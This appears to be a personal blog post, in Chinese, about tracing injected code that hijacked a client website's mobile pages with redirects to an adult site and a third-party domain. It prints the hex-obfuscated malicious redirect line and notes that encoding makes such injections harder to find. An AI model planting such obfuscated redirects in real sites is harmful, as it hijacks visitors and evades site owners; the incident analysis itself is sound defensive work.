今天吃过晚饭,以前在在北京的同事想我求助,客户的网站在移动端页面发生了异常跳转。
这是我第二次帮助这个partner处理这种问题的。
第一次经过:记得第一次是网站移动段页面莫名的跳转到一个成人网站,由于发生了跳转行为,首先我将控制台的Preserve Log,打开,确定有一个新的跳转,然后开始去查找所有js文件,分析js文件,加载顺序,诊断出了大致可能是哪些js可能引起了跳转,然后找到了js文件片段, 然后php partner 找到了被注入的script 代码,window[编码][编码]='编码',翻译过来就是window.loaction.href,问题得到解决,大约2个小时的样子。
本次经过:这次也是发生了跳转,但是这次寻在的方向和上次不一样,这次我发现浏览器直接可以看到,任何一个请求都可以看到带起的请求有哪些, request initiator,然后就直接定位出是那里有的问题。直接断定是/m/index.php 文件出现里面发起了一个其他的请求,这个请求在在别人的服务器上发生了重定向。通过对index.php 文件,以及对依赖的php文件的检索然后果然发现了第三方域名。问题顺利解决。
window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x72\x65\x66']="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x63\x73\x67\x77\x62\x6e\x2e\x63\x6f\x6d\x2f\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x77\x6a\x78\x78\x7a\x2e\x68\x74\x6d\x6c";
反思:如果将第二次注入也进行转码的话,可能就很难查找问题了。